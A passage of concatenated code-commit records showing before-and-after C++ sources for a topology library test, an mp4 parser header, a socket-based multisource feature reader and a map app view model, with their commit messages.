vr2.empty() == false );\n ALEPH_ASSERT_THROW( vr1.size() == vr2.size() );\n ALEPH_ASSERT_THROW( vr1.size() == 7 );\n\n ALEPH_TEST_END();\n}\n\ntemplate <class Data, class Vertex> void quad()\n{\n ALEPH_TEST_BEGIN( \"Quad\" );\n\n using Simplex = Simplex<Data, Vertex>;\n using SimplicialComplex = SimplicialComplex<Simplex>;\n\n std::vector<Simplex> simplices\n = { {0},\n {1},\n {2},\n {3},\n Simplex( {0,1}, Data(1) ),\n Simplex( {0,2}, Data( std::sqrt(2.0) ) ),\n Simplex( {1,2}, Data(1) ),\n Simplex( {2,3}, Data(1) ),\n Simplex( {0,3}, Data(1) ),\n Simplex( {1,3}, Data( std::sqrt(2.0) ) ) };\n\n SimplicialComplex K( simplices.begin(), simplices.end() );\n RipsExpander<SimplicialComplex> ripsExpander;\n\n auto vr1 = ripsExpander( K, 1 );\n auto vr2 = ripsExpander( K, 2 );\n auto vr3 = ripsExpander( K, 3 );\n\n vr1 = ripsExpander.assignMaximumWeight( vr1 );\n vr2 = ripsExpander.assignMaximumWeight( vr2 );\n vr3 = ripsExpander.assignMaximumWeight( vr3 );\n\n vr1.sort( filtrations::Data<Simplex>() );\n vr2.sort( filtrations::Data<Simplex>() );\n vr3.sort( filtrations::Data<Simplex>() );\n\n ALEPH_ASSERT_THROW( vr1.empty() == false );\n ALEPH_ASSERT_THROW( vr2.empty() == false );\n ALEPH_ASSERT_THROW( vr3.empty() == false );\n\n ALEPH_ASSERT_THROW( vr1.size() == simplices.size() );\n ALEPH_ASSERT_THROW( vr2.size() == vr1.size() + 4 ); \/\/ +4 triangles\n ALEPH_ASSERT_THROW( vr3.size() == vr2.size() + 1 ); \/\/ +1 tetrahedron\n\n ALEPH_ASSERT_THROW( isConsistentFiltration( vr1.begin(), vr1.end() ) );\n ALEPH_ASSERT_THROW( isConsistentFiltration( vr2.begin(), vr2.end() ) );\n ALEPH_ASSERT_THROW( isConsistentFiltration( vr3.begin(), vr3.end() ) );\n\n ALEPH_TEST_END();\n}\n\nint main()\n{\n triangle<double, unsigned>();\n triangle<double, short >();\n triangle<float, unsigned>();\n triangle<float, short >();\n\n quad<double, unsigned>();\n quad<double, short >();\n quad<float, unsigned>();\n quad<float, short >();\n}\n<commit_msg>Started implementing test case for comparing Rips expansion strategies<commit_after>#include \"geometry\/RipsExpander.hh\"\n#include \"geometry\/RipsExpanderTopDown.hh\"\n\n#include \"tests\/Base.hh\"\n\n#include \"filtrations\/Data.hh\"\n\n#include \"topology\/Simplex.hh\"\n#include \"topology\/SimplicialComplex.hh\"\n\n#include <iterator>\n#include <set>\n#include <vector>\n\n#include <cmath>\n\nusing namespace aleph::geometry;\nusing namespace aleph::topology;\nusing namespace aleph;\n\n\/** Checks whether co-faces are preceded by their faces in a filtration *\/\ntemplate <class InputIterator> bool isConsistentFiltration( InputIterator begin, InputIterator end )\n{\n using Simplex = typename std::iterator_traits<InputIterator>::value_type;\n\n \/\/ Contains all simplices that have already been 'seen' during the\n \/\/ traversal. If an unseen face is encountered, we have identified\n \/\/ an error.\n std::set<Simplex> seen;\n\n for( auto it = begin; it != end; ++it )\n {\n seen.insert( *it );\n\n for( auto itFace = it->begin_boundary(); itFace != it->end_boundary(); ++itFace )\n if( seen.find( *itFace ) == seen.end() )\n return false;\n }\n\n return true;\n}\n\ntemplate <class Data, class Vertex> void triangle()\n{\n ALEPH_TEST_BEGIN( \"Triangle\" );\n\n using Simplex = Simplex<Data, Vertex>;\n using SimplicialComplex = SimplicialComplex<Simplex>;\n\n std::vector<Simplex> simplices\n = { {0}, {1}, {2}, {0,1}, {0,2}, {1,2} };\n\n SimplicialComplex K( simplices.begin(), simplices.end() );\n RipsExpander<SimplicialComplex> ripsExpander;\n\n auto vr1 = ripsExpander( K, 2 );\n auto vr2 = ripsExpander( K, 3 );\n\n ALEPH_ASSERT_THROW( vr1.empty() == false );\n ALEPH_ASSERT_THROW( vr2.empty() == false );\n ALEPH_ASSERT_THROW( vr1.size() == vr2.size() );\n ALEPH_ASSERT_THROW( vr1.size() == 7 );\n\n ALEPH_TEST_END();\n}\n\ntemplate <class Data, class Vertex> void quad()\n{\n ALEPH_TEST_BEGIN( \"Quad\" );\n\n using Simplex = Simplex<Data, Vertex>;\n using SimplicialComplex = SimplicialComplex<Simplex>;\n\n std::vector<Simplex> simplices\n = { {0},\n {1},\n {2},\n {3},\n Simplex( {0,1}, Data(1) ),\n Simplex( {0,2}, Data( std::sqrt(2.0) ) ),\n Simplex( {1,2}, Data(1) ),\n Simplex( {2,3}, Data(1) ),\n Simplex( {0,3}, Data(1) ),\n Simplex( {1,3}, Data( std::sqrt(2.0) ) ) };\n\n SimplicialComplex K( simplices.begin(), simplices.end() );\n RipsExpander<SimplicialComplex> ripsExpander;\n\n auto vr1 = ripsExpander( K, 1 );\n auto vr2 = ripsExpander( K, 2 );\n auto vr3 = ripsExpander( K, 3 );\n\n vr1 = ripsExpander.assignMaximumWeight( vr1 );\n vr2 = ripsExpander.assignMaximumWeight( vr2 );\n vr3 = ripsExpander.assignMaximumWeight( vr3 );\n\n vr1.sort( filtrations::Data<Simplex>() );\n vr2.sort( filtrations::Data<Simplex>() );\n vr3.sort( filtrations::Data<Simplex>() );\n\n ALEPH_ASSERT_THROW( vr1.empty() == false );\n ALEPH_ASSERT_THROW( vr2.empty() == false );\n ALEPH_ASSERT_THROW( vr3.empty() == false );\n\n ALEPH_ASSERT_THROW( vr1.size() == simplices.size() );\n ALEPH_ASSERT_THROW( vr2.size() == vr1.size() + 4 ); \/\/ +4 triangles\n ALEPH_ASSERT_THROW( vr3.size() == vr2.size() + 1 ); \/\/ +1 tetrahedron\n\n ALEPH_ASSERT_THROW( isConsistentFiltration( vr1.begin(), vr1.end() ) );\n ALEPH_ASSERT_THROW( isConsistentFiltration( vr2.begin(), vr2.end() ) );\n ALEPH_ASSERT_THROW( isConsistentFiltration( vr3.begin(), vr3.end() ) );\n\n ALEPH_TEST_END();\n}\n\ntemplate <class Data, class Vertex> void expanderComparison()\n{\n ALEPH_TEST_BEGIN( \"Rips expander comparison\" );\n\n using Simplex = Simplex<Data, Vertex>;\n using SimplicialComplex = SimplicialComplex<Simplex>;\n\n std::vector<Simplex> simplices\n = { {0},\n {1},\n {2},\n {3},\n Simplex( {0,1}, Data(1) ),\n Simplex( {0,2}, Data( std::sqrt(2.0) ) ),\n Simplex( {1,2}, Data(1) ),\n Simplex( {2,3}, Data(1) ),\n Simplex( {0,3}, Data(1) ),\n Simplex( {1,3}, Data( std::sqrt(2.0) ) ) };\n\n SimplicialComplex K( simplices.begin(), simplices.end() );\n\n RipsExpander<SimplicialComplex> re;\n RipsExpanderTopDown<SimplicialComplex> retd;\n\n auto K1 = re( K, 3 );\n auto K2 = retd( K, 3 );\n\n ALEPH_ASSERT_EQUAL( K1.size(), K2.size() );\n\n ALEPH_TEST_END();\n}\n\nint main()\n{\n triangle<double, unsigned>();\n triangle<double, short >();\n triangle<float, unsigned>();\n triangle<float, short >();\n\n quad<double, unsigned>();\n quad<double, short >();\n quad<float, unsigned>();\n quad<float, short >();\n\n expanderComparison<double, unsigned>();\n expanderComparison<double, short >();\n expanderComparison<float, unsigned>();\n expanderComparison<float, short >();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * \n * copyright (c) 2010 ZAO Inventos (inventos.ru)\n * copyright (c) 2010 jk@inventos.ru\n * copyright (c) 2010 kuzalex@inventos.ru\n * copyright (c) 2010 artint@inventos.ru\n *\n * This file is part of mp4frag.\n *\n * mp4grag is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * mp4frag is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\/\n\n#ifndef __mp4_hh__c6051ba6_1c2a_4b5d_b3ec_a4d3401a9df3\n#define __mp4_hh__c6051ba6_1c2a_4b5d_b3ec_a4d3401a9df3\n\n#include <boost\/shared_ptr.hpp>\n#include <boost\/enable_shared_from_this.hpp>\n#include <vector>\n#include <iostream>\n#include <stack>\n\nnamespace mp4 {\n\n class Context;\n\n class Parser : public ::boost::enable_shared_from_this<Parser> {\n friend class Context;\n protected:\n Context *_ctx;\n uint32_t _total;\n uint32_t _wants;\n uint32_t _to_skip;\n ::boost::shared_ptr<Parser> _up;\n public:\n Parser() : _ctx(0), _total(0), _wants(0), _to_skip(0) {}\n virtual ~Parser();\n virtual void parse(const char *data) = 0;\n size_t wants() const { return _wants; }\n void skip(uint32_t to_skip) { _to_skip = to_skip; }\n };\n\n\n struct Track {\n uint64_t _duration;\n uint32_t _timescale;\n uint32_t _pwidth, _pheight;\n std::vector<uint32_t> _sample_size;\n std::vector<std::pair<uint32_t, uint32_t> > _compos_deltas;\n std::vector<uint64_t> _chunk_offsets;\n std::vector<uint64_t> _stss;\n std::vector<std::pair<uint64_t, uint64_t> > _stts;\n std::vector<char> _extradata;\n\n struct SampleToChunk {\n uint32_t _first_chunk;\n uint32_t _samples_per_chunk;\n uint32_t _desc_index;\n SampleToChunk() {}\n SampleToChunk(uint32_t f, uint32_t s, uint32_t d) : _first_chunk(f), _samples_per_chunk(s), _desc_index(d) {}\n };\n std::vector<SampleToChunk> _samples_to_chunk;\n\n Track() : _duration(0), _pwidth(0), _pheight(0) {}\n };\n\n struct SampleInfo {\n uint64_t _timestamp;\n uint64_t _number;\n uint64_t _offset;\n uint32_t _composition_offset;\n uint32_t _timescale;\n uint32_t _sample_size;\n bool _video;\n bool _keyframe;\n\n double timestamp() const { return double(_timestamp) \/ _timescale; }\n };\n\n class MetaInfo {\n friend class Context;\n std::vector<SampleInfo> _samples;\n uint32_t _width;\n uint32_t _height;\n uint32_t _bitrate;\n double _duration;\n bool _has_video, _has_audio;\n };\n\n class Context {\n public:\n std::vector<SampleInfo> _samples;\n private:\n ::boost::shared_ptr<Parser> _parser;\n std::vector<char> _buffer;\n\n public:\n unsigned wants() const { return _parser->_wants; }\n unsigned total() const { return _parser->_total; }\n unsigned to_skip() const { return _parser->_to_skip; }\n\n\n public:\n Context();\n virtual ~Context();\n \n void skip(unsigned count) {\n _parser->_to_skip = count;\n assert ( _parser->_to_skip <= _parser->_total );\n }\n void push_state(const ::boost::shared_ptr<Parser>& p, unsigned total, unsigned wants);\n void pop_state();\n size_t feed(const char *data, size_t sz);\n ::boost::shared_ptr<Track> _current_parsed;\n\n \/\/ valid only after full parsing:\n ::boost::shared_ptr<Track> _video;\n ::boost::shared_ptr<Track> _audio;\n uint32_t _width;\n uint32_t _height;\n uint32_t _pwidth, _pheight;\n std::string _videoextra, _audioextra;\n uint32_t _bitrate;\n double _duration;\n bool _has_video, _has_audio;\n\n void _unfold(const ::boost::shared_ptr<Track>& track, bool is_video);\n void finalize();\n\n unsigned find_sample(double timestamp);\n unsigned nsamples() const { return _samples.size(); }\n SampleInfo *get_sample(unsigned si) { return &_samples[si]; }\n\n bool has_video() const { return _has_video; }\n bool has_audio() const { return _has_audio; }\n uint32_t width() const { return _width; }\n uint32_t height() const { return _height; }\n uint32_t pwidth() const { return _pwidth; }\n uint32_t pheight() const { return _pheight; }\n uint32_t bitrate() const { return _bitrate; }\n double duration() const { return _duration; }\n const std::string& videoextra() const { return _videoextra; }\n const std::string& audioextra() const { return _audioextra; }\n\n };\n}\n\n::std::ostream& operator<<(::std::ostream&, const mp4::Track&);\n::std::ostream& operator<<(::std::ostream&, const mp4::SampleInfo&);\n\n\n#endif\n<commit_msg>stdint header<commit_after>\/*\n * \n * copyright (c) 2010 ZAO Inventos (inventos.ru)\n * copyright (c) 2010 jk@inventos.ru\n * copyright (c) 2010 kuzalex@inventos.ru\n * copyright (c) 2010 artint@inventos.ru\n *\n * This file is part of mp4frag.\n *\n * mp4grag is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * mp4frag is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\/\n\n#ifndef __mp4_hh__c6051ba6_1c2a_4b5d_b3ec_a4d3401a9df3\n#define __mp4_hh__c6051ba6_1c2a_4b5d_b3ec_a4d3401a9df3\n\n#include <stdint.h>\n#include <boost\/shared_ptr.hpp>\n#include <boost\/enable_shared_from_this.hpp>\n#include <vector>\n#include <iostream>\n#include <stack>\n\nnamespace mp4 {\n\n class Context;\n\n class Parser : public ::boost::enable_shared_from_this<Parser> {\n friend class Context;\n protected:\n Context *_ctx;\n uint32_t _total;\n uint32_t _wants;\n uint32_t _to_skip;\n ::boost::shared_ptr<Parser> _up;\n public:\n Parser() : _ctx(0), _total(0), _wants(0), _to_skip(0) {}\n virtual ~Parser();\n virtual void parse(const char *data) = 0;\n size_t wants() const { return _wants; }\n void skip(uint32_t to_skip) { _to_skip = to_skip; }\n };\n\n\n struct Track {\n uint64_t _duration;\n uint32_t _timescale;\n uint32_t _pwidth, _pheight;\n std::vector<uint32_t> _sample_size;\n std::vector<std::pair<uint32_t, uint32_t> > _compos_deltas;\n std::vector<uint64_t> _chunk_offsets;\n std::vector<uint64_t> _stss;\n std::vector<std::pair<uint64_t, uint64_t> > _stts;\n std::vector<char> _extradata;\n\n struct SampleToChunk {\n uint32_t _first_chunk;\n uint32_t _samples_per_chunk;\n uint32_t _desc_index;\n SampleToChunk() {}\n SampleToChunk(uint32_t f, uint32_t s, uint32_t d) : _first_chunk(f), _samples_per_chunk(s), _desc_index(d) {}\n };\n std::vector<SampleToChunk> _samples_to_chunk;\n\n Track() : _duration(0), _pwidth(0), _pheight(0) {}\n };\n\n struct SampleInfo {\n uint64_t _timestamp;\n uint64_t _number;\n uint64_t _offset;\n uint32_t _composition_offset;\n uint32_t _timescale;\n uint32_t _sample_size;\n bool _video;\n bool _keyframe;\n\n double timestamp() const { return double(_timestamp) \/ _timescale; }\n };\n\n class MetaInfo {\n friend class Context;\n std::vector<SampleInfo> _samples;\n uint32_t _width;\n uint32_t _height;\n uint32_t _bitrate;\n double _duration;\n bool _has_video, _has_audio;\n };\n\n class Context {\n public:\n std::vector<SampleInfo> _samples;\n private:\n ::boost::shared_ptr<Parser> _parser;\n std::vector<char> _buffer;\n\n public:\n unsigned wants() const { return _parser->_wants; }\n unsigned total() const { return _parser->_total; }\n unsigned to_skip() const { return _parser->_to_skip; }\n\n\n public:\n Context();\n virtual ~Context();\n \n void skip(unsigned count) {\n _parser->_to_skip = count;\n assert ( _parser->_to_skip <= _parser->_total );\n }\n void push_state(const ::boost::shared_ptr<Parser>& p, unsigned total, unsigned wants);\n void pop_state();\n size_t feed(const char *data, size_t sz);\n ::boost::shared_ptr<Track> _current_parsed;\n\n \/\/ valid only after full parsing:\n ::boost::shared_ptr<Track> _video;\n ::boost::shared_ptr<Track> _audio;\n uint32_t _width;\n uint32_t _height;\n uint32_t _pwidth, _pheight;\n std::string _videoextra, _audioextra;\n uint32_t _bitrate;\n double _duration;\n bool _has_video, _has_audio;\n\n void _unfold(const ::boost::shared_ptr<Track>& track, bool is_video);\n void finalize();\n\n unsigned find_sample(double timestamp);\n unsigned nsamples() const { return _samples.size(); }\n SampleInfo *get_sample(unsigned si) { return &_samples[si]; }\n\n bool has_video() const { return _has_video; }\n bool has_audio() const { return _has_audio; }\n uint32_t width() const { return _width; }\n uint32_t height() const { return _height; }\n uint32_t pwidth() const { return _pwidth; }\n uint32_t pheight() const { return _pheight; }\n uint32_t bitrate() const { return _bitrate; }\n double duration() const { return _duration; }\n const std::string& videoextra() const { return _videoextra; }\n const std::string& audioextra() const { return _audioextra; }\n\n };\n}\n\n::std::ostream& operator<<(::std::ostream&, const mp4::Track&);\n::std::ostream& operator<<(::std::ostream&, const mp4::SampleInfo&);\n\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include \"multisource.h\"\n#include \"simple_label.h\"\n\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <errno.h>\n#include <stdio.h>\n\nint really_read(int sock, void* in, size_t count)\n{\n char* buf = (char*)in;\n size_t done = 0;\n int r = 0;\n while (done < count)\n {\n if ((r = read(sock,buf,count-done)) == 0)\n\treturn 0;\n else\n\tif (r < 0)\n\t {\n\t cerr << \"argh! bad read! \" << endl;\n\t perror(NULL);\n\t exit(0);\n\t }\n\telse\n\t {\n\t done += r;\n\t buf += r;\n\t }\n }\n return done;\n}\n\nbool blocking_get_prediction(int sock, prediction &p)\n{\n int count = really_read(sock, &p, sizeof(p));\n bool ret = (count == sizeof(p));\n return ret;\n}\n\nsize_t recv_count = 0;\nbool blocking_get_global_prediction(int sock, global_prediction &p)\n{\n int count = really_read(sock, &p, sizeof(p));\n bool ret = (count == sizeof(p));\n if (ret)\n recv_count++;\n return ret;\n}\n\nvoid send_prediction(int sock, prediction &p)\n{\n if (write(sock, &p, sizeof(p)) < (int)sizeof(p))\n {\n cerr << \"argh! bad write! \" << endl;\n perror(NULL);\n exit(0);\n }\n}\n\nsize_t send_count = 0;\n\nvoid send_global_prediction(int sock, global_prediction p)\n{\n if (write(sock, &p, sizeof(p)) < (int)sizeof(p))\n {\n cerr << \"argh! bad global write! \" << sock << endl;\n perror(NULL);\n exit(0);\n }\n else\n send_count++;\n}\n\nvoid reset(partial_example &ex)\n{\n ex.features.erase();\n}\n\nsize_t num_finished = 0;\n \nint receive_features(parser* p, void* ex)\n{\n example* ae = (example*)ex;\n io_buf* input = p->input;\n fd_set fds;\n FD_ZERO(&fds);\n for (int* sock= input->files.begin; sock != input->files.end-num_finished; sock++)\n FD_SET(*sock,&fds);\n\n while (input->files.index() > num_finished)\n {\n if (select(p->max_fd,&fds,NULL, NULL, NULL) == -1)\n\t{\n\t cerr << \"Select failed!\" << endl;\n\t perror(NULL);\n\t exit (1);\n\t}\n for (int index = 0; index < (int)input->files.index(); index++)\n\t{\n\t int sock = input->files[index];\n\t if (FD_ISSET(sock, &fds))\n\t {\/\/there is a feature or label to read\n\t prediction pre;\n\t if (!blocking_get_prediction(sock, pre) )\n\t\t{\n\t\t FD_CLR(sock, &fds);\n\t\t int swap_target = input->files.index()-num_finished-1;\n\t\t input->files[index]=input->files[swap_target];\n\t\t input->files[swap_target]=sock;\n\t\t int temp = p->ids[index];\n\t\t p->ids[index]=p->ids[swap_target];\n\t\t p->ids[swap_target] = temp;\n\t\t temp = p->counts[index];\n\t\t p->counts[index]=p->counts[swap_target];\n\t\t p->counts[swap_target] = temp;\n\t\t num_finished++;\n\t\t}\n\t else\n\t\t{\n\t\t if (pre.example_number != ++ (p->counts[index]))\n\t\t cout << \"count is off! \" << pre.example_number << \" != \" << p->counts[index] << \n\t\t \" for source \" << index << \" prediction = \" << pre.p << endl;\n\t\t if (pre.example_number == p->finished_count + ring_size - 1)\n\t\t FD_CLR(sock,&fds);\/\/this ones to far ahead, let the buffer fill for awhile.\n\t\t size_t ring_index = pre.example_number % p->pes.index();\n\t\t if (p->pes[ring_index].features.index() == 0)\n\t\t p->pes[ring_index].example_number = pre.example_number;\n\t\t if (p->pes[ring_index].example_number != (int)pre.example_number)\n\t\t cerr << \"Error, example \" << p->pes[ring_index].example_number << \" != \" << pre.example_number << endl;\n\t\t feature f = {pre.p, p->ids[index]};\n\t\t push(p->pes[ring_index].features, f);\n\t\t if (sock == p->label_sock) \/\/ The label source\n\t\t {\n\t\t label_data ld;\n\t\t size_t len = sizeof(ld.label)+sizeof(ld.weight);\n\t\t char c[len];\n\t\t really_read(sock,c,len);\n\t\t bufread_simple_label(&(p->pes[ring_index].ld), c);\n\t\t }\n\n\t\t if( p->pes[ring_index].features.index() == input->count )\n\t\t {\n\t\t push( ae->indices, multindex );\n\t\t push_many( ae->atomics[multindex], p->pes[ring_index].features.begin, p->pes[ring_index].features.index() );\n\t\t label_data* ld = (label_data*)ae->ld;\n\t\t *ld = p->pes[ring_index].ld;\n\t\t reset(p->pes[ring_index]);\n\t\t p->finished_count++;\n\t\t return ae->atomics[multindex].index();\n\t\t }\n\t\t}\n\t }\n\t else if (p->counts[index] < p->finished_count + ring_size -1)\n\t FD_SET(sock,&fds);\n\t}\n }\n return 0;\n}\n\n<commit_msg>fixed multisource.cc for many sources<commit_after>#include \"multisource.h\"\n#include \"simple_label.h\"\n\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <errno.h>\n#include <stdio.h>\n\nint really_read(int sock, void* in, size_t count)\n{\n char* buf = (char*)in;\n size_t done = 0;\n int r = 0;\n while (done < count)\n {\n if ((r = read(sock,buf,count-done)) == 0)\n\treturn 0;\n else\n\tif (r < 0)\n\t {\n\t cerr << \"argh! bad read! \" << endl;\n\t perror(NULL);\n\t exit(0);\n\t }\n\telse\n\t {\n\t done += r;\n\t buf += r;\n\t }\n }\n return done;\n}\n\nbool blocking_get_prediction(int sock, prediction &p)\n{\n int count = really_read(sock, &p, sizeof(p));\n bool ret = (count == sizeof(p));\n return ret;\n}\n\nsize_t recv_count = 0;\nbool blocking_get_global_prediction(int sock, global_prediction &p)\n{\n int count = really_read(sock, &p, sizeof(p));\n bool ret = (count == sizeof(p));\n if (ret)\n recv_count++;\n return ret;\n}\n\nvoid send_prediction(int sock, prediction &p)\n{\n if (write(sock, &p, sizeof(p)) < (int)sizeof(p))\n {\n cerr << \"argh! bad write! \" << endl;\n perror(NULL);\n exit(0);\n }\n}\n\nsize_t send_count = 0;\n\nvoid send_global_prediction(int sock, global_prediction p)\n{\n if (write(sock, &p, sizeof(p)) < (int)sizeof(p))\n {\n cerr << \"argh! bad global write! \" << sock << endl;\n perror(NULL);\n exit(0);\n }\n else\n send_count++;\n}\n\nvoid reset(partial_example &ex)\n{\n ex.features.erase();\n}\n\nsize_t num_finished = 0;\n \nint receive_features(parser* p, void* ex)\n{\n example* ae = (example*)ex;\n io_buf* input = p->input;\n fd_set fds;\n FD_ZERO(&fds);\n for (int* sock= input->files.begin; sock != input->files.end-num_finished; sock++)\n FD_SET(*sock,&fds);\n\n while (input->files.index() > num_finished)\n {\n if (select(p->max_fd,&fds,NULL, NULL, NULL) == -1)\n\t{\n\t cerr << \"Select failed!\" << endl;\n\t perror(NULL);\n\t exit (1);\n\t}\n for (int index = 0; index < (int)(input->files.index()-num_finished); index++)\n\t{\n\t int sock = input->files[index];\n\t if (FD_ISSET(sock, &fds))\n\t {\/\/there is a feature or label to read\n\t prediction pre;\n\t if (!blocking_get_prediction(sock, pre) )\n\t\t{\n\t\t FD_CLR(sock, &fds);\n\t\t int swap_target = input->files.index()-num_finished-1;\n\t\t input->files[index]=input->files[swap_target];\n\t\t input->files[swap_target]=sock;\n\t\t int temp = p->ids[index];\n\t\t p->ids[index]=p->ids[swap_target];\n\t\t p->ids[swap_target] = temp;\n\t\t temp = p->counts[index];\n\t\t p->counts[index]=p->counts[swap_target];\n\t\t p->counts[swap_target] = temp;\n\t\t num_finished++;\n\t\t index--;\n\t\t}\n\t else\n\t\t{\n\t\t if (pre.example_number != ++ (p->counts[index]))\n\t\t cout << \"count is off! \" << pre.example_number << \" != \" << p->counts[index] << \n\t\t \" for source \" << index << \" prediction = \" << pre.p << endl;\n\t\t if (pre.example_number == p->finished_count + ring_size - 1)\n\t\t FD_CLR(sock,&fds);\/\/this ones to far ahead, let the buffer fill for awhile.\n\t\t size_t ring_index = pre.example_number % p->pes.index();\n\t\t if (p->pes[ring_index].features.index() == 0)\n\t\t p->pes[ring_index].example_number = pre.example_number;\n\t\t if (p->pes[ring_index].example_number != (int)pre.example_number)\n\t\t cerr << \"Error, example \" << p->pes[ring_index].example_number << \" != \" << pre.example_number << endl;\n\t\t feature f = {pre.p, p->ids[index]};\n\t\t push(p->pes[ring_index].features, f);\n\t\t if (sock == p->label_sock) \/\/ The label source\n\t\t {\n\t\t label_data ld;\n\t\t size_t len = sizeof(ld.label)+sizeof(ld.weight);\n\t\t char c[len];\n\t\t really_read(sock,c,len);\n\t\t bufread_simple_label(&(p->pes[ring_index].ld), c);\n\t\t }\n\n\t\t if( p->pes[ring_index].features.index() == input->count )\n\t\t {\n\t\t push( ae->indices, multindex );\n\t\t push_many( ae->atomics[multindex], p->pes[ring_index].features.begin, p->pes[ring_index].features.index() );\n\t\t label_data* ld = (label_data*)ae->ld;\n\t\t *ld = p->pes[ring_index].ld;\n\t\t reset(p->pes[ring_index]);\n\t\t p->finished_count++;\n\t\t return ae->atomics[multindex].index();\n\t\t }\n\t\t}\n\t }\n\t else if (p->counts[index] < p->finished_count + ring_size -1)\n\t FD_SET(sock,&fds);\n\t}\n }\n return 0;\n}\n\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Revert r18683: \"Add more CHECKs to ClientSocketPoolBase.\" Looks like it might have broken block-test.html somehow.<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/ Copyright eeGeo Ltd (2012-2015), All Rights Reserved\n\n#include \"MyPinCreationConfirmationViewModel.h\"\n\nnamespace ExampleApp\n{\n namespace MyPinCreation\n {\n namespace View\n {\n MyPinCreationConfirmationViewModel::MyPinCreationConfirmationViewModel(Eegeo::Helpers::TIdentity identity,\n bool initiallyOnScreen,\n Reaction::View::IReactionControllerModel& reactionControllerModel)\n\n : m_screenControl(initiallyOnScreen, identity)\n , m_openable(identity, reactionControllerModel)\n {\n\n }\n\n ScreenControl::View::IScreenControlViewModel& MyPinCreationConfirmationViewModel::GetScreenControlViewModel()\n {\n return m_screenControl;\n }\n\n OpenableControl::View::IOpenableControlViewModel& MyPinCreationConfirmationViewModel::GetOpenableControlViewModel()\n {\n return m_openable;\n }\n\n Eegeo::Helpers::TIdentity MyPinCreationConfirmationViewModel::GetIdentity() const\n {\n return m_screenControl.GetIdentity();\n }\n\n void MyPinCreationConfirmationViewModel::AddToScreen()\n {\n m_screenControl.AddToScreen();\n }\n\n void MyPinCreationConfirmationViewModel::RemoveFromScreen()\n {\n m_screenControl.RemoveFromScreen();\n }\n\n void MyPinCreationConfirmationViewModel::UpdateOnScreenState(float onScreenState)\n {\n m_screenControl.UpdateOnScreenState(onScreenState);\n }\n\n void MyPinCreationConfirmationViewModel::InsertOnScreenStateChangedCallback(Eegeo::Helpers::ICallback2<ScreenControl::View::IScreenControlViewModel&, float>& callback)\n {\n m_screenControl.InsertOnScreenStateChangedCallback(callback);\n }\n\n void MyPinCreationConfirmationViewModel::RemoveOnScreenStateChangedCallback(Eegeo::Helpers::ICallback2<ScreenControl::View::IScreenControlViewModel&, float>& callback)\n {\n m_screenControl.RemoveOnScreenStateChangedCallback(callback);\n }\n\n bool MyPinCreationConfirmationViewModel::IsFullyOffScreen() const\n {\n return m_screenControl.IsFullyOffScreen();\n }\n\n bool MyPinCreationConfirmationViewModel::IsFullyOnScreen() const\n {\n return m_screenControl.IsFullyOnScreen();\n }\n\n float MyPinCreationConfirmationViewModel::OnScreenState() const\n {\n return m_screenControl.OnScreenState();\n }\n \n bool MyPinCreationConfirmationViewModel::IsAddedToScreen() const\n {\n return m_screenControl.IsAddedToScreen();\n }\n\n bool MyPinCreationConfirmationViewModel::TryOpen()\n {\n if(!m_screenControl.IsAddedToScreen())\n {\n return false;\n }\n return m_openable.TryAcquireReactorControl();\n }\n\n void MyPinCreationConfirmationViewModel::Close()\n {\n m_openable.ReleaseReactorControl();\n }\n }\n }\n}\n<commit_msg>Removing Added to Screen check from MyPinCreationConfirmationViewModel. Buddy Tom H<commit_after>\/\/ Copyright eeGeo Ltd (2012-2015), All Rights Reserved\n\n#include \"MyPinCreationConfirmationViewModel.h\"\n\nnamespace ExampleApp\n{\n namespace MyPinCreation\n {\n namespace View\n {\n MyPinCreationConfirmationViewModel::MyPinCreationConfirmationViewModel(Eegeo::Helpers::TIdentity identity,\n bool initiallyOnScreen,\n Reaction::View::IReactionControllerModel& reactionControllerModel)\n\n : m_screenControl(initiallyOnScreen, identity)\n , m_openable(identity, reactionControllerModel)\n {\n\n }\n\n ScreenControl::View::IScreenControlViewModel& MyPinCreationConfirmationViewModel::GetScreenControlViewModel()\n {\n return m_screenControl;\n }\n\n OpenableControl::View::IOpenableControlViewModel& MyPinCreationConfirmationViewModel::GetOpenableControlViewModel()\n {\n return m_openable;\n }\n\n Eegeo::Helpers::TIdentity MyPinCreationConfirmationViewModel::GetIdentity() const\n {\n return m_screenControl.GetIdentity();\n }\n\n void MyPinCreationConfirmationViewModel::AddToScreen()\n {\n m_screenControl.AddToScreen();\n }\n\n void MyPinCreationConfirmationViewModel::RemoveFromScreen()\n {\n m_screenControl.RemoveFromScreen();\n }\n\n void MyPinCreationConfirmationViewModel::UpdateOnScreenState(float onScreenState)\n {\n m_screenControl.UpdateOnScreenState(onScreenState);\n }\n\n void MyPinCreationConfirmationViewModel::InsertOnScreenStateChangedCallback(Eegeo::Helpers::ICallback2<ScreenControl::View::IScreenControlViewModel&, float>& callback)\n {\n m_screenControl.InsertOnScreenStateChangedCallback(callback);\n }\n\n void MyPinCreationConfirmationViewModel::RemoveOnScreenStateChangedCallback(Eegeo::Helpers::ICallback2<ScreenControl::View::IScreenControlViewModel&, float>& callback)\n {\n m_screenControl.RemoveOnScreenStateChangedCallback(callback);\n }\n\n bool MyPinCreationConfirmationViewModel::IsFullyOffScreen() const\n {\n return m_screenControl.IsFullyOffScreen();\n }\n\n bool MyPinCreationConfirmationViewModel::IsFullyOnScreen() const\n {\n return m_screenControl.IsFullyOnScreen();\n }\n\n float MyPinCreationConfirmationViewModel::OnScreenState() const\n {\n return m_screenControl.OnScreenState();\n }\n \n bool 